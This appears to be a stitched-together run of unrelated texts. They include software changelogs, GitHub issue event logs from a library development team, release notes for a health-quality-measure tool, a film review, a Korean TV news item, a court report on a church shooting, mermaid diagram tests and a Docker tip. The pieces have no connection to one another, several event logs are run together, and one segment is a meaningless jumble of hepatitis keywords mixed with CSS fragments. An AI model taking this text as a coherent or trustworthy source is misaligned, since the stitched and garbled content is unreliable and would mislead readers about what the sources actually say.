- Added catching updates to body on Auto-Highlight (experimental)
- Fixed an issue with incorrect matching on phrases over multiple elements
v1.0.4 - Oct 7, 2018:
- Added new extension icons!
- Changed default style slightly with inset box-shadow
v1.0.3 - Oct 3, 2018:
- Added import feature for importing phrases from space and new-line delimited lists
- Added trimming outer whitespace on all new added phrases
- Fixed button wrapping offset issue at certain window sizes
v1.0.2 - Oct 1, 2018:
- Fixed enable mouseover for title setting
- Added enable auto-highlighter option and badges
v1.0.1 - Sept 21, 2018:
- Removed alert popup on successful phrase and list addition
- Added enable partial match setting
- Added case insensitive match setting
- Added this updates page
v1.0 - Sept 20, 2018:
- Base Beta Build


labeled
by None at 2021-03-09 01:09:15.labeled
by None at 2021-03-09 01:09:15.Superseded by #178.
closed
by None at 2021-03-09 01:09:16.head_ref_deleted
by None at 2021-03-09 01:09:17.labeled
by None at 2021-03-09 02:46:24.labeled
by None at 2021-03-09 02:46:24.labeled
by None at 2021-03-08 22:34:14.assigned
by None at 2021-03-08 22:34:14.I finally ran and compared Esmé's implementations.
The Ruby version is way too slow, it takes about ~7 minutes per file, that translates to 13+ hours for all 100 files.
The Java implementation is incredibly fast, it takes about 10 seconds per file.
The Go implementation is somewhere in between, it takes 35 seconds per file.
I forked Esmé's repo and put it under https://github.com/pulibrary/pod_scripts and standardized the scripts to run each of the implementation so that it's easier to compare and contrast.
assigned
by Christina Chortaria at 2021-03-09 17:34:28.unassigned
by Christina Chortaria at 2021-03-09 17:59:08.assigned
by Kevin Reiss at 2021-03-09 20:01:08.I added a new coveralls token for the bibdata repo in circleci.
review_dismissed
by Christina Chortaria at 2021-03-09 21:28:32.head_ref_force_pushed
by Christina Chortaria at 2021-03-09 21:28:32.referenced
by None at 2021-03-09 21:36:34.merged
by None at 2021-03-09 21:36:34.closed
by None at 2021-03-09 21:36:35.head_ref_deleted
by None at 2021-03-09 21:36:35.This item is in a Preservation process:
MMS Id:<PHONE_NUMBER>3506421 Holding ID:<PHONE_NUMBER>0006421 Item ID:<PHONE_NUMBER>0006421 ~~Process type: Pres~~ Process type: WORKORDERDEPARTMENT / In Process Work Order Type: Pres / At Preservation
It looks like the process_type
(Process Type for acquisition) values available for our installation are are:
ACQ, "Acquisition"
CLAIM_RETURNED_LOAN, "Claimed Returned"
HOLDSHELF, "Hold Shelf"
ILL, "Resource Sharing Request"
LOAN, "Loan"
LOST_ILL, "Lost Resource Sharing Item"
LOST_LOAN, "Lost"
LOST_LOAN_AND_PAID, "Lost and paid"
MISSING, "Missing"
TECHNICAL, "Technical - Migration"
REQUESTED, "Requested"
TRANSIT, "Transit"
TRANSIT_TO_REMOTE_STORAGE, "In Transit to Remote Storage"
WORK_ORDER_DEPARTMENT, "In Process"
Fetched via https://api-na.hosted.exlibrisgroup.com/almaws/v1/conf/code-tables/PROCESSTYPE?apikey=enter-your-key
Yeah I'm still not really sure how processtype is related here. I think what we want is workorder_type. But we may need these, too, at some point?
I think processtypes include things that aren't on work orders. For example, HOLDSHELF is just a status that gets toggled without being associated with a work order. Work orders all have a processtype of WORKORDERDEPARTMENT.
referenced
by Eliot Jordan at 2021-03-09 22:58:34.merged
by Eliot Jordan at 2021-03-09 22:58:34.closed
by Eliot Jordan at 2021-03-09 22:58:34.head_ref_deleted
by Eliot Jordan at 2021-03-09 22:58:34.labeled
by None at 2021-03-09 09:38:04.labeled
by None at 2021-03-09 09:38:04.@hackartisan and @tpendragon . perhaps an easier way forward, that would empower users to create order themselves on pages via a widget (the item row widget, specifically). If we can constrain proportions of the thumbnail to help standardize the size, I have a feeling that may be an easier and more sustainable route. We could also workshop the size of the thumbnail, thereby also being able to similarly address and close #858.
There is also the option of getting the item embed widget to function properly. But I would love your thoughts on this.
That might make sense for the use case of a guided exhibit experience -- there wouldn't be too many items. Is the idea that it might be preferred to showcase them in that way?
@hackartisan Yup! As luck would have it This idea was a direct result of a recent use case. An individual from Mudd is creating an online companion to a physical exhibit that was in Mudd previously. This is how they would like to display the items
mentioned
by None at 2021-03-09 00:14:38.subscribed
by None at 2021-03-09 00:14:38.mentioned
by Trey Pendragon at 2021-03-09 00:14:38.subscribed
by Trey Pendragon at 2021-03-09 00:14:38.mentioned
by None at 2021-03-09 14:11:30.subscribed
by None at 2021-03-09 14:11:30.Yes, only records are indexed. None of the page content of the site is indexed. The results page lists digital object records. This would be a significant new feature, possibly involving the creation of a new index depending on how design discussions went.
Good to know. Since it has been asked for by folks at another institution and DPUL is continuously seeing more use, I thought it would be good to ask, just in case. Thanks!
labeled
by Kim Leaman at 2021-03-09 17:25:55.labeled
by Kim Leaman at 2021-03-09 17:25:55.PRDS has made the pull request: https://github.com/PrincetonUniversityLibrary/dataspace/pull/1
Here's an example from staging:
https://dataspace-staging.princeton.edu/handle/88435/dsp014q77fs42v
Note that it's been fixed on prod.
labeled
by Kevin McElwee at 2021-03-09 19:16:01.renamed
by Kevin McElwee at 2021-03-09 19:16:10.labeled
by Kevin McElwee at 2021-03-09 20:03:46.PRDS is unfamiliar with this request, presumably this is a request from Lynn. Here is an example: https://dataspace-staging.princeton.edu/handle/88435/dsp014q77fs42v - [ ] Reach out to Lynn to request new wording
labeled
by Kevin McElwee at 2021-03-09 19:57:52.assigned
by Bess Sadler at 2021-03-09 20:34:54.closed
by Kevin McElwee at 2021-03-09 21:17:46.labeled
by None at 2021-03-09 09:43:31.labeled
by None at 2021-03-09 09:43:31.Closing this ticket — the object was a MVW where the parent rights statement was changed, but the volumes still had the old rights statement.
closed
by Esmé Cowles at 2021-03-09 22:38:13.I think you can fix this by changing reports_controller.rb#8 to
ruby
@resources = @ephemera_project.boxes.map(&:folders).flatten + @ephemera_project.folders
labeled
by Kim Leaman at 2021-03-09 21:02:30.labeled
by Kim Leaman at 2021-03-09 21:02:30.renamed
by Kim Leaman at 2021-03-09 21:02:48.renamed
by Kim Leaman at 2021-03-09 21:02:58.I think you could include the folders this way:
ruby
@resources = @ephemera_project.boxes.map(&:folders).flatten + @ephemera_project.folders
Note the change to request, this should output a TSV file, not a flat text file.
labeled
by None at 2021-03-09 05:28:00.Superseded by #365.
closed
by None at 2021-03-09 05:28:02.head_ref_deleted
by None at 2021-03-09 05:28:02.Coverage remained the same at 96.589% when pulling a5dcd73f4ea3b14234e924a1de47ae3932544e86 on dependabot/npmandyarn/elliptic-6.5.4 into ab84c9a71ec5996b76bf230ab2fb414342df4adf on main.
labeled
by None at 2021-03-09 02:26:49.labeled
by None at 2021-03-09 02:26:49.review_requested
by None at 2021-03-09 13:13:36.head_ref_force_pushed
by None at 2021-03-09 15:18:34.assigned
by None at 2021-03-09 15:28:33.@kayiwa said this is done. bibdata-alma-worker-qa1
closed
by Christina Chortaria at 2021-03-09 18:46:56.mentioned
by Francis Kayiwa at 2021-03-09 18:46:56.subscribed
by Francis Kayiwa at 2021-03-09 18:46:56.head_ref_force_pushed
by Francis Kayiwa at 2021-03-09 20:49:38.referenced
by Trey Pendragon at 2021-03-09 22:39:51.merged
by Trey Pendragon at 2021-03-09 22:39:51.closed
by Trey Pendragon at 2021-03-09 22:39:52.head_ref_deleted
by Trey Pendragon at 2021-03-09 22:39:52.closed
by Eliot Jordan at 2021-03-08 22:24:14.moved_columns_in_project
by Eliot Jordan at 2021-03-08 22:24:15.referenced
by Eliot Jordan at 2021-03-08 22:24:14.merged
by Eliot Jordan at 2021-03-08 22:24:14.closed
by Eliot Jordan at 2021-03-08 22:24:14.head_ref_deleted
by Eliot Jordan at 2021-03-08 22:24:18.assigned
by Bess Sadler at 2021-03-09 16:45:11.unassigned
by Bess Sadler at 2021-03-09 16:49:20.@tpendragon would this be a quick fix? I did not put it as blocking but it would be a feature that is not represented in the new site while it is in 2.0
@ccleeton It's not really a quick fix but it's achievable. I could put it in priority after the other blocking release tickets, if it's important enough you want it out on Monday.
Priority after monday is fine.
mentioned
by Trey Pendragon at 2021-03-09 17:21:14.subscribed
by Trey Pendragon at 2021-03-09 17:21:14.mentioned
by Christa Cleeton at 2021-03-09 18:16:31.subscribed
by Christa Cleeton at 2021-03-09 18:16:31.assigned
by Trey Pendragon at 2021-03-09 18:28:01.referenced
by Trey Pendragon at 2021-03-09 22:38:59.labeled
by Trey Pendragon at 2021-03-09 18:35:57.milestoned
by Trey Pendragon at 2021-03-09 18:36:01.closed
by None at 2021-03-09 19:06:26.closed
by None at 2021-03-09 19:07:36.closed
by None at 2021-03-09 19:08:17.labeled
by None at 2021-03-09 20:44:03.labeled
by None at 2021-03-09 20:44:03.closed
by Trey Pendragon at 2021-03-09 22:47:24.Hm, it seems likely this is a timing issue. It may be that because indexing new resources every hour aspace hasn't finished indexing the agent when we pull the EAD. I'm not sure if we'd need to index less often (nightly again, probably) to fix or if there's some other way to handle this.
Ah. Could indexing perhaps happen somewhere in between every hour and nightly?
If it's solely a timing issue then probably not - there's always the chance that during the day our scheduled time would coincide with when the record was edited recently. I can look into seeing if we can schedule a "double-check index job" or something, or if maybe we can track changes for agents and see if when they change we can reindex attached EADs.
Thanks, Trey.
It looks like there's just something wrong with our indexing, re-indexing that record didn't add the bioghist note. That's good news - probably easier to fix. I'll look into it soon.
@faithc
Oh wow, this is pretty bad UX in aspace. I'm sure it has a reason, but yeah.
Okay, so it's a user entry issue that I also would have done. The agent for C1667 has a bioghist note which is published, but the sub note (which has the actual content), is NOT published. If you edit the agent and check that box it should reindex with the bioghist.
Oh wow, that's ridiculous...Thanks for investigating, Trey!
labeled
by None at 2021-03-09 16:53:45.milestoned
by None at 2021-03-09 16:53:45.mentioned
by None at 2021-03-09 22:57:55.subscribed
by None at 2021-03-09 22:57:55.Coverage remained the same at 100.0% when pulling 71bff3c9f2addddfdbffc1970b4181d635d431ca on dependabot/npmandyarn/elliptic-6.5.4 into 5809f77d8827f494d032040cdf576b19a78d4378 on main.
labeled
by None at 2021-03-09 09:35:37.labeled
by None at 2021-03-09 09:35:37.head_ref_force_pushed
by None at 2021-03-09 13:03:34.head_ref_force_pushed
by None at 2021-03-09 16:39:12.head_ref_force_pushed
by None at 2021-03-09 16:40:15.head_ref_force_pushed
by None at 2021-03-09 19:03:59.head_ref_force_pushed
by None at 2021-03-09 19:53:55.


'Entertainment Weekly' comes to an end after 36 years
by germainejKBS' 'Entertainment Weekly' has come to an end.
On the November 29th final episode, 10-year host Shin Hyun Joon expressed, "I feel very strange. To be honest, today is the last episode with you all. I'm saddened...Thank you for giving us good and beautiful memories. I really thank you. I was only absent once due to rhinitis surgery."
He continued, "'Entertainment Weekly' is disappearing into history, but it won't disappear from our memories. Thank you once again to the viewers who've loved and cared for us until now."
'Entertainment Weekly', which premiered in 1984, is known as South Korea's very first entertainment news program.


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Grids / Overview
New Samples:
- Cell Templates
- Custom Appearance
- Filtering with Search Box
- Fixed Rows
- Grid as ListBox
- Grouping
- Pagination
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- Tooltip
Sample List:
- Add/Remove
- Cells in Different Colors
- Cells with CheckBox
- Cells with Custom Check Box
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- CheckBox in Column Header
- Column Alignment
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- Columns Fixed on Side
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- Events
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- Sorting from Column Menu
IntegralUI Grids is a collection of two native AngularJS directives: Grid and TreeGrid. Both directives come with high performance during data load and update even with very large data sets. You can create and modify hierarchical data structures in multiple columns on the fly, with fast data load either from local or remote data source. They are fully customizable with option to change their appearance during run-time.
Using links from sample list above, you can check out different features.


Updated the Quality Measure Engine to support calculation of supplemental data elements
Updated the patient test data – see below
Updated the QRDA Category I language code
Updated the measure bundle with the annual release of Eligible Hospital measures on April 1, 2013
Updated the Valuesets based on requirements from latest measures
Updated the measure logic to latest implementation guidance for Denominator Exclusions, (are now left in the DENOM)
Removed the QRDA Cat I test patient generation and the ability to create QRDA Category I tests from the Add Test Wizard
Added the ability to Generate QRDA Category I tests from EP/EH calculations tests
Updated the generation of Category I tests based on individual measures
Updated QRDA Category I tests to accept a zip file of QRDA Cat I documents for testing
Added Multi File reporting views for QRDA Category I tests
Updated QRDA Cat I tests to test for patient names
Added initial check for too much data in Cat I tests
Removed QRDA Cat I measure specific schematron rules
Updated QRDA Category I schematron Rules to latest available from HL7 DSTU
Fixed issue related to start and end date processing of reporting period for exported Cat I documents
Updated Length of Stay calculations to fix bug related to LOS ≤ 24 hours
Fixed issue related to dates not being properly formatted in some portions of templates
Fixed issue related to nullFlavored value elements not having an xsi:type, nullFlaovored values are now xsi:type="CD" in generic value template
Fixed issue with value element for values of string type being reported as xsi:type="INT", are now xsi:type="ST" in generic value template
Fixed issue related to stdc:dischargeCode being in the wrong location of template 2.16.840.1.1138<IP_ADDRESS>.3.23
Fixed issue with routeCode having an invalid empty codeSystem attribute in generic _medication_details template
Fixed issue with targetSiteCode having an invalid empty codeSystem attribute for template 2.16.840.1.1138<IP_ADDRESS>.3.7
Fixed issues related to effectiveTime being in the wrong location in template 2.16.840.1.1138<IP_ADDRESS>.3.31
Removed extra text element from template 2.16.840.1.1138<IP_ADDRESS>.3.46 Removed duplicated data entries from patient records
Fixed Episode of Care logic that incorrectly handled measures that had multiple potential episodes of care joined by a disjunction (effected measures 1365 and 0140)
Fixed alignment of the date/times in “Fields” column with “Time” column
In Cypress 2.1 a bug was introduced in the processing order of Denominators and Exclusions, which has been resolved in this release. As a result of this modification the following changes have been observed in the measure population calculations.
NQF 0371:
NQF 0372:
Cholesterol Screening Risk (all populations):
Fasting LDL Test (high risk and moderate risk):
The following data element changes have been made to the EH patient test deck records:
AMI_ADULT A
Diagnostic Study, Result: Hospital Measures Ecg becomes Diagnostic Study, Result: Hospital Measures Ecg impression
AMI_ADULT B
Diagnostic Study, Result: Hospital Measures Ecg becomes Diagnostic Study, Result: Hospital Measures Ecg impression
test result goes from "Hospital Measures-ST-segment elevation" to "Hospital Measures-Acute or Evolving Mi"
AMI_ADULT C
Diagnostic Study, Result: Hospital Measures Ecg becomes Diagnostic Study, Result: Hospital Measures Ecg impression
test result goes from "Hospital Measures-ST-segment elevation" to "Hospital Measures-Acute or Evolving Mi"
AMI_ADULT D
Diagnostic Study, Result: Hospital Measures Ecg becomes Diagnostic Study, Result: Hospital Measures Ecg impression
test result goes from "Hospital Measures-ST-segment elevation" to "Hospital Measures-Acute or Evolving Mi"
OB A
Diagnostic Study, Performed: Vte Diagnostic Test becomes Diagnostic Study, Result
OB B
Diagnostic Study, Performed: Vte Diagnostic Test becomes Diagnostic Study, Result
CAP_ADULT A
Encounter, Performed: ICU Admission or Transfer - end date shifted by 1 day to make length of stay > 1 day
Current Build
To be Released on June 20th, 2013
Support the annual Eligible Professional clinical quality measure update –
Cypress v2.3 will include the updated specifications introduced in June by the Centers for Medicare & Medicaid Services. In addition, the Cypress test data was adjusted accordingly to meet basic testing and certification standards.
QRDA category I XML automated analysis –
Cypress v2.3 will automate the content validation of the QRDA category I test (automatic structural validation will continue as normal in the Cypress software).
Additional clinical code validation –
Cypress v2.3 will introduce the validation of code selection choices against clinical quality measure value sets.
Update the Medicare HIC id entry with a unique value –
Mismatch of HTML and QRDA files for OB_A and OB_B test patients –
Incorrect warning in QRDA Cat I validation –
Clinical Quality Measure Test Procedure update –
Upcoming Build
To be Released on August 15th, 2013
Improved randomization of all Cypress patient records –
Limiting HTML test files to clinical quality measure certifying data (aka “HTML Scoop and Filter”) –
None identified at this time
Upcoming Build
To be Announced
The following issues are being tracked by the Cypress project – with no definitive release date at this time


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On Patrol 14 Nov 2019, 15:49 by Photo of the Day IDF soldiers on Patrol in al-Arrub, north of Hebron, on November 13, 2019. RELATED ARTICLES


The Eye Creatures (1965) 80m.
Some movies are bad because of their writing, their acting, or their directing, but nothing is spared in this insipid horror flick from the 60s. Armed with a script that could have been written by your average twelve-year old, our clean-cut young heroes Stan and Susan find themselves spending most of their elopement trying to convince adults that the local necking spot in the woods is being invaded by saucermen. Will they listen? Of course not.
It's hard to tell which is the single worst feature of this movie, but the writing must surely be a likely contender for the top spot. Every phone conversation is ridiculous, and when the dialogue isn't expository it's just plain dumb. How about that line when Susan's pop, who happens to be the city attorney, snaps at her hit-and-run suspect boyfriend "You're lucky in one respect!  To take the heat off the script, the acting is pretty rank, too (in some cases the cast is required to pretend they're driving stationary cars and act at the same time). At least Cynthia Hull (Susan) has the foresight to distract audiences from her performance with her vaguely ethnic, gravity-defying hairdo. The most unforgivable failing point of the movie, however, is the monster attack itself. Attack? What attack? I've never seen an alien strike force so ineffective and vulnerable (one hopeless specimen walks off a cliff at one point, for no apparent reason). The eye creatures, conveniently human-sized humanoids with bubbly heads, manage to do away with at least one unfortunate bystander, even if it is only by chasing him very, very slowly and pawing at the air in front of his face, but after that the "attack" is all but over. In any case, the monsters have got to be less of a public menace than the neighborhood crank who keeps stomping about the woods with his shotgun in search of trespassing teens.
At first, the film appears to be indulging its young target audience by portraying all adults and authority figures (parents, the military, the police) as skeptical, patronizing, or incompetent. It's a little perverse when you consider the film was made by adults, which is why it should be reappraised. Sure, these teens save the day, but in the end they're just as ineffectual and witless as the adults they complain about. In the final scene Stan and Susan have forgotten about their marriage (their first step into adulthood, maybe) and admit they're just a couple of self-professed "crazy kids" canoodling along with the rest of the gang in their cars. But what director Larry Buchanan (of MARS NEEDS WOMEN fame) is most famous for in this flick is his daring juxtaposition of daylight scenes with night-time ones. No, not really. The production's day-for-night technique was just as inept as the rest of the picture.
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AllPunsIndented Home Base
Application for communicating with Arduino and Rasberry Pi home atuomation.


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{% extends "layout.html" %} {% block page_title %} GOV.UK prototyping kit {% endblock %} {% block content %} ALPHA This is a new service – your feedback will help us to improve it. Report submitted Your reference number is AB987654321 We’ve just sent you a confirmation email. What happens next? Your report will be checked by the Environment Agency. Your site officer may contact you with queries. Your data will be published on GOV.UK after 31 May 2018. What did you think of this service? (takes 30 seconds) {% endblock %}
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Progate is a web service where you can learn programming online.

Languages used to build and design the appearances of your websites. HTML adds the structure, and CSS styles it.
A fast, feature-rich and easy-to-use JavaScript library that handles animations and Ajax requests.
A dynamic, general-purpose language that is simple and productive. It is commonly used around the world to build web applications.
An open source scripting language that can be embedded into HTML, and well suited for web development.


CLOVER development¶
Improvements to CLOVER¶
CLOVER is under continuous development to improve its functionality and capabilities. These will be added to the CLOVER repository on GitHub once they have been finalised and tested, as well as any existing or new bugs that are identified in the code. Check back in at the repository to see any new developments to the code and bug fixes, recorded as commits and in the update register, to ensure your version of CLOVER is up to date.
Acknowledgements and support for CLOVER¶
CLOVER has been under development since 2015 and has received a support from a variety of funding sources. We would like to gratefully acknowledge the support of the Grantham Institute - Climate Change and the Environment for contributions to PhD scholarships, Climate-KIC for research allowances, the Engineering and Physical Sciences Research Council (EP/R511547/1 and EP/R030235/1), the ClimateWorks Foundation, and Research England GCRF QR Funding.
Philip Sandwell would like to thank Hamish Beath, Javier Baranda Alonso, and Scot Wheeler, under the supervision of Ned Ekins-Daukes and Jenny Nelson, for their contributions to developing the CLOVER code and functionality over the years. In addition he would like to thank Oytun Babacan, Paloma Ortega Arriaga and Anaïs Matthey-Junod for their comments and suggestions to improve this user manual.
Get involved¶
If you would like to be involved with the development of CLOVER, have suggestions for improvements to its functionality, or identify (or solve) any bugs, please get in touch or submit pull requests on GitHub.
CLOVER is entirely open-source and so users are encouraged to use the code, make modifications, and develop improvements to suit their unique purposes under the share-and-share-alike conditions of the license. We are always happy to hear about how CLOVER has been used!


Date: 05/06/2019
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Date: 17/03/2019
Added: · Faces in cutscenes added · Fxs added · Portal added Changed: · Lobby Map · Lobby Ice Map · Lobby Night Map · Grammar dialog and cutscenes · Characters images · Save n load · Balancing · Treasure Fixed: · #378 Focus in dialogs is too little · #380 When you die the player appear with the death animation when revived · #383 The save game icon appears more than once when you save the game multiple times in a short period · #387 The game crashes when the controls button is hitted. · #400 If you die the health bar doesn't update to full bar · #433 Go over closed door · #434 Incorrect traduction on fountain · #435 UI dissappeared after going to the fountain · #437 Bars, compass and character image blit front ability screen. · #445 Tutorial screen wrong · #446 More screen fails · #451 Guard helmet Visual Bug · #462 If skip cutscene to go to sleep in the middle you are aground · #463 You can interact while theres a cutscene
DownloadAdded: · Boss 3 · All cutscenes · Menu congratulations · All enemies · Musics and fxs · Bosses health bars Fixed: · #410 If the player open the inventory when recieving last thit the inventory stays in screen · #415 If you die poisoned the sprite remains green once you revive · #432 Incorrect traduction
DownloadAdded: · Bomber enemy · Poison visual effects · Boss 2 · Minimap Icons · First Phase Boss 3 · Fire State · Lobby at night · Water/Lava Animations · Shop items bought · Cutscenes Quest 2 · Rupees explosion Changed: · Correct focus image · Minimap · Resize buttons Removed: · Old gold bag Fixed: · #379 If an enemy kills you the game crashes · #385 Extra room drawn in the fountain room · #391 If the player dies with a lot of enemies close the game crashes · #393 The compass doesn't disappear when return to lobby from quest2 · #397 If you go to the quest 2 or 3 from the lobby, the HUD doesn't show up
DownloadAdded: · Quest 3 rooms with colliders · Exp bar · Loop quest 3 · Bat enemy Changed: · Inventory · Experience Removed: · Old inventory Fixed: · #333 The rectangle of the worktop is too large · #335 The game doesn't return the player to the lobby once you go to the map for a second time · #341 Game crash when return to main menu and use the B button in controller · #381 The fx are a little bit behind than they should · #382 The game crashes when you try to make the load · #386 The spawn of the player when return to the lobby from quest is wrong · #388 The statues dialogs are wrong picked · #390 The arrow ability disappear too soon
DownloadAdded: · Quest 3 rooms with colliders · Exp bar · Loop quest 3 · Bat enemy Changed: · Inventory · Experience Removed: · Old inventory Fixed: · #333 The rectangle of the worktop is too large · #335 The game doesn't return the player to the lobby once you go to the map for a second time · #341 Game crash when return to main menu and use the B button in controller · #381 The fx are a little bit behind than they should · #382 The game crashes when you try to make the load · #386 The spawn of the player when return to the lobby from quest is wrong · #388 The statues dialogs are wrong picked · #390 The arrow ability disappear too soon
DownloadAdded: · Cassio enemy added · Blizzard added · Special cassio venom attack added · Full event system added · Statick objects quest 2 added · Shop scroll added · More than one object in shop added Changed: · Health and mana bars · Super Frog special attack (pathfinding change) · Menu's exit splines · Lobby map (more credible) · Cursor code · HUD rework · Clear code create entities in room Fixed: · #334 If you go to the tutorial map from the lobby the HUD disappear · #335 The game doesn't return the player to the lobby once you go to the map for a second time · #341 Game crash when return to main menu and use the B button in controller
DownloadAdded: · Save and Load · 3rd ability · Minimap (almost done) · Button to skip cutscene · Loop Quest 2 · Rooms quest 2 · Purple frog enemy added · Slime enemy added Changed: · Splines in almost all menus · Menus code Fixed: · #287 General volume of all audios should be way less loud · #305 Shop bugs when you click fast to buy potions · #332 The ability panel disable the HUD when you go back to the game · #334 If you go to the tutorial map from the lobby the HUD disappear
DownloadAdded: · Debug keys to pass through rooms · New fountains sprites · Statue tutorial added · Idle animations Changed: · Abilities blocked from the beginning · Recover health and mana in the lobby · Pivots are now in the debug collision key · Controls of the controller and keyboard Removed: · Blue and greeen quads for the enemy and player positions Fixed: · #305 Shop bugs when you click fast to buy potions · #300 HUD disappear when you talk to the NPC in the lobby · #304 Arrow keeps doing damage to the enemies · #306 If you die in the final battle at the tutorial it goes to the lobby
DownloadAdded: · Input text · Particles · Cutscenes · Game loop · Audio and fxs · All characters and enemies animations · Abilities implemented · Fully controller controls · Doors logic · Tutorial screens · HUD function · God mode · Breakeable rocks · Debug key change between characters · Experience and levels · Player selection menu · Death menu Changed: · Enemies fully implented · Fountain functionality · Credits Fixed: · #213 If you are in death menu and you wait the game crashes · #229 Bug report from release ver 0.5.0 · #264 If you use the flash ability the collider of the character gets off center · #267 Tearing in fullscreen · #282 Some fxs doesn't mute when the volume is supposedly 0 · #283 The camera in fullscreen follow the player too slow · #284 Fullscreen button needs to be updated · #286 Game sometimes crash when using too much the abilities · #296 When you die if you click in return main menu the game sometimes crashes
DownloadAdded: · Use of potions · NPCs implemented · Cutscene research implemented · 2 Cutscenes added · 3 enemies implemented (not fully) · HUD added · 3 characters implemented(not fully) · Dynamic NPCs added · Game icon added to exe Changed: · Controller fully implemented · Fountain fully implemented · Debug screen fully implemented · Shop logic fully implemented · Drop sprite added · Movement Quest · Controls menu changed and fixed · Warrior ability animation added Fixed: · #195 Game crash at new game button (Bug photo inside) · #180 Game crash if you click cancel button and then tutorial button · #178 The game crash when you click in return main menu when dead · #177 The game crash when you click Tutorial or cancel button to go to the tutorial map · #145 Elements from inventory disappear (even the iventory, blocking the players game) · #138 If you click in return when in control menu it returns to pause or main menu · #137 If you click the options in the main menu it will click the fullscreen checkbox too
DownloadAdded: · First Ability · Go to quest · Shop Logic (not finished) · All tutorial rooms · Room Logic · Game over screen · NPC shop · Drops · Debug Screen (not finished) Changed: · Credits screen · Focus improved · More static entities (trees, rocks) · Mouse icon changed · Collision slide · Movement change · New controller controls Fixed: · #134 If you try to connect the controller when the game is running it won't work · #133 If you try to use inventory in option menu in the main menu then in the game you cannot use it · #132 Fountain room crashes game · #131 If you return to room 4 from room 5 the game crashes · #130 Go to shop, pause menu go to main menu = crash · #94 Options focus doesn't work properly on controls options · #90 The option menu doesn't "remember visually the changes · #88 Lobby Fountain incorrectly printed
DownloadAdded: · Inventory · Tutorial rooms · Death Animation · New lobby camera · Death Logic · Transitions between quest maps (not random) Changed: · Lobby Tileset Removed: · Old lobby camera Fixed: · #98 Memory leaks when you enter and leave the home · #97 The abilities menu appears in the option menu if you click the V key · #96 The option menu text is too little compared to the focus · #93 Option menu from main menu doesn't return to main menu · #89 The lobby map blit sprites out of the map · #86 New game Main menu loop crash the game · #49 When you change map from hub - tutorial - hub the game crashes
DownloadAdded: · UI focus · Control change · Option menu (not finished) · Lobby camera (not polished) · Credits Button · Dialog System added Changed: · Lobby Tileset Fixed: · #34 The player sprite doesn't show up when you return to the main menu · #46 When you enter to the home the screen stays black
DownloadAdded: · Main menu · Pause menu · Abilities menu · Enemy now look at the player · Player's movement animation · Player can attack · First tutorial room · Loop between hub and tutorial map Changed: · Main menu button's position Fixed: · #7 solved -> Player's movement stop working properly when enemy is close to him.
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hepatitis liver late chronic European patients presentation {border-style definition definitions disease px;} viral #ffffff;} HIV care Hepatitis fibrosis Health [], consensus stage Europe health treatment advanced medical HCV surveillance APRI HBV Organization Study World px; received risk testing {font-family Association University data font-size hepatocellular presenters used Liver Viral []. double; epidemiological group infection patient population "late AbbVie, Accessed Centre FIB- JL, Late and/or available border-color border-width different including provide solid; working {font-style {font-weight "presentation AIDS Apr Disease Europe: Gilead, Hepatol./j.jhep... Janssen, Presentation Prevention Rigshospitalet, SM, advisory boards bold clinical clinically comprehensive countries courier; decompensated defined diagnosed em; experts healthcare hepatic honoraria important improved infections persons present proportion pt;} public speaking understanding virus


graph TB Function1-->URL1 click Function1 clickByFlow "Add a div" click URL1 "http://localhost:9000/empty.html" "Visit mermaid docs"
graph TB 1Function-->2URL click 1Function clickByFlow "Add a div" click 2URL "http://localhost:9000/empty.html" "Visit mermaid docs"
gantt dateFormat YYYY-MM-DD axisFormat %d/%m title Adding GANTT diagram to mermaid excludes weekdays 2014-01-10 section A section Completed task :done, des1, 2014-01-06,2014-01-08 Active task :active, des2, 2014-01-09, 3d Future task : des3, after des2, 5d Future task2 : des4, after des3, 5d section Critical tasks Completed task in the critical line :crit, done, 2014-01-06,24h Implement parser and jison :crit, done, after des1, 2d Create tests for parser :crit, active, 3d Future task in critical line :crit, 5d Create tests for renderer :2d Add to mermaid :1d section Documentation Describe gantt syntax :active, a1, after des1, 3d Add gantt diagram to demo page :after a1 , 20h Add another diagram to demo page :doc1, after a1 , 48h section Clickable Visit mermaidjs :active, cl1, 2014-01-07,2014-01-10 Calling a Callback (look at the console log) :cl2, after cl1, 3d click cl1 href "http://localhost:9000/empty.html" click cl2 call clickByGantt("test", test, test) section Last section Describe gantt syntax :after doc1, 3d Add gantt diagram to demo page : 20h Add another diagram to demo page : 48h


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Alleged killer's arson charge
by Nicholas JohansenUPDATE: 11:05 a.m.
A separate arson charge has been laid against the man accused of shooting up a Salmon Arm church last spring.
After he allegedly entered Salmon Arm's Church of Christ on the morning of April 14, 2019, shooting and killing a 78-year-old church elder, Matrix Gathergood was charged with first-degree murder and aggravated assault.
Earlier this month, another charge of arson of an inhabited property was filed against him.
Gathergood, whose full name is Matrix Savage Paladin Gathergood, is alleged to have committed the arson on March 14, 2019, exactly one month before the church shooting.
Gathergood is expected back in Salmon Arm court on Dec. 3, when counsel will review a recently completed psychiatric assessment. The report will be used to determine if Gathergood can be found not criminally responsible due to a mental illness.
ORIGINAL: 5 a.m.
The man accused of shooting and killing a 78-year-old church elder in Salmon Arm earlier this year has completed a psychiatric assessment to determine if he can be held criminally responsible.
Matrix Gathergood, 25, was arrested on the morning of April 14, after he allegedly walked into Salmon Arm's Church of Christ during a church service and shot two people inside. Gordon Parmenter died at the scene, while Paul Derkach was seriously injured.
The shooting shocked the Shuswap community. Salmon Arm Mayor Alan Harrison described Parmenter as a “very caring” man who fostered many young people in the community.
Gathergood is facing charges of first-degree murder and aggravated assault. He has remained in custody since his arrest.
The psychiatric assessment of Gathergood will help determine if he can be found not criminally responsible due to a mental disorder.
Gathergood's case came through Salmon Arm's provincial court Tuesday, but since the report had just recently been completed, the court date was adjourned to allow the Crown and defence to thoroughly review the report.
The case will be back before the courts on Dec. 3.


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Switch between Linux and Windows Container on D4W
06 May 2018If you are using Docker for Windows there might be a need to switch between Linux OR Windows container at times.
The first way to achieve this is to right click on the whale icon from the system tray and choose either the option “Switch to Linux Containers…” OR “Switch to Windows Containers…”
The other way to achieve this from the CMD/Powershell is to execute the below command:
There is a running process “com.docker.proxy.exe” which listens on the default named pipe : \.\pipe\docker_engine [for linux containers].
If you switch from Linux to Windows container the Windows Docker engine “dockerd.exe” will be started for you which listens on \.\pipe\docker_engine_windows & the above proxy process redirects to this.


--- layout: post title: ServiceAPI Bulk Loader categories: [] tags: serviceapi status: publish type: post published: true meta: {} ---
The ServiceAPI exposes a bulk loading capabilities for which a C# sample is provided in the help. This blog post shows the actual JSON that is sent over the wire.
The first step is to create an Origin object in the client, once this is done a batch of Records can be posted to the bulk loader. The sample below:
